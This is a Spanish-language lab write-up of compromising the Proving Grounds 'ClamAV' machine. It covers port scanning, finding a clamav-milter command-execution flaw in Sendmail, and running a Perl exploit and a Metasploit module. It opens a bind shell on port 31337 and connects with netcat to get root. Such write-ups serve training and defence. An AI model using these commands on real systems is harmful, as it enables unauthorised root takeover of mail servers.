Saltar a contenido

ClamAV (Proving Grounds)

Datos del Objetivo Descripción
Dirección IP 192.168.142.42
Sistema Operativo Linux (Debian)
Nivel Intermedio / Simulación de Examen
Vectores de Ataque Enumeración de Servicios, RCE en Sendmail, ClamAV Milter.

1. Fase de Reconocimiento

Arrancamos la auditoría realizando un barrido completo de puertos TCP para mapear la superficie de ataque disponible.

sudo nmap 192.168.142.42 -Pn -p- -sS -sV

Resumen de Puertos Abiertos

Puerto Servicio Detectado Versión
22 SSH OpenSSH 3.8.1p1
25 SMTP Sendmail 8.13.4
80 HTTP Apache 1.3.33
139/445 SMB Samba 3.X - 4.X
199 SMUX Linux SNMP multiplexer
60000 SSH OpenSSH (Puerto alternativo)

Análisis de la Superficie de Ataque

Inicialmente, los servicios web (puerto 80) y de archivos compartidos (SMB) no arrojaron vulnerabilidades explotables tras una inspección manual. Sin embargo, el nombre de host de la máquina ("ClamAV") nos dio la pista definitiva.

Este nombre sugiere que el servidor está ejecutando el antivirus ClamAV, el cual a menudo se integra con servidores de correo (como el Sendmail detectado en el puerto 25) mediante un componente llamado "milter" (mail filter).

Consultamos la base de datos de exploits buscando coincidencias para esta combinación:

searchsploit sendmail clamav
# Hallazgo: Sendmail with clamav-milter < 0.91.2 - Remote Command Execution

Confirmamos la existencia de una vulnerabilidad crítica de Ejecución Remota de Comandos (RCE) en versiones antiguas de clamav-milter.


2. Explotación y Acceso (Vía Manual)

El exploit seleccionado abusa de la falta de saneamiento en el filtro de correo para inyectar comandos. El script está diseñado para levantar una bind shell en el puerto 31337.

Procedimiento de ataque:

  1. Lanzamiento del Payload: Ejecutamos el script en Perl apuntando a la dirección IP de la víctima.

    perl clamav.pl 192.168.142.42
    

    Detalle técnico: El script manipula las cabeceras SMTP para forzar al servicio a ejecutar un comando que abre el puerto de escucha.

  2. Confirmación: Verificamos que el puerto 31337 ahora se encuentre en estado OPEN.

  3. Obtención de Shell (Privilegios Root): Nos conectamos al puerto recién abierto utilizando Netcat. Debido a que el servicio de correo se ejecuta con altos privilegios, la sesión resultante nos otorga control total del sistema inmediatamente.

    nc 192.168.142.42 31337
    
    id
    # uid=0(root) gid=0(root) groups=0(root)
    

Root Flag: ********************************


3. Vía Alternativa: Metasploit Framework

Si preferimos una explotación automatizada, Metasploit cuenta con un módulo específico para este fallo de seguridad.

msfconsole
use exploit/unix/smtp/clamav_milter_blackhole
set RHOSTS 192.168.142.42
run

Este método gestiona el envío del correo malicioso y establece la sesión sin necesidad de scripts externos.


Conclusiones y Notas Finales

  • Enumeración Pasiva: Prestar atención a metadatos como el hostname puede revelar software instalado que no aparece directamente en un escaneo de puertos (como el plugin ClamAV detrás de Sendmail).
  • Gestión de Parches: La presencia de software "Legacy" (antiguo), como esta versión de Sendmail, suele garantizar una entrada fácil debido a CVEs conocidos y sin parchar.
  • Configuración de Servicios: Ejecutar servicios expuestos a internet (como un servidor de correo) con privilegios de root es una práctica peligrosa que facilita el compromiso total del sistema en un solo paso.